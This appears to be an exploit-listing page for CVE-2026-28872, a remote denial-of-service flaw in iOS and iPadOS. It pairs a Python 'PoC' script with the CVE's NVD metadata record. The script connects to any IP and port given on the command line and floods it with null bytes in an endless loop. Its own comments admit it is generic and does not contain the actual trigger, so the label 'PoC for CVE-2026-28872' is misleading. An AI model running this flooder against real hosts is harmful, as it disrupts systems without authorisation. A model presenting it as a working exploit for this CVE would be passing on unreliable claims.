CVE-2026-28872

# PoC for CVE-2026-28872 (Resource Exhaustion) # This is a generic demonstration of a resource exhaustion attack. # Actual trigger packets would need to be reverse-engineered from the specific iOS patch. import socket import sys def send_malicious_packet(target_ip, target_port): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Simulate sending a payload that triggers resource exhaustion # In a real scenario, this payload would specifically target the vulnerable input validation logic payload = b"\x00" * 10000 # Example payload print(f"[*] Sending payload to {target_ip}:{target_port}...") s.send(payload) # Keep sending to exhaust resources while True: s.send(payload) print("[*] Packet sent. System resources may be depleting...") except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <target_port>") else: send_malicious_packet(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2026-28872", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:51.977", "lastModified": "2026-05-13T14:03:48.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "F3968B76-E6DE-416D-A0FB-E4833FFAAE0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F201257D-2F7C-43AA-BD51-ED5EC98F99E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "B6431EAF-B395-4C19-9AB6-A2F45991C897"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F7F08C35-7A60-4FEC-8D44-533902F43EDD"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}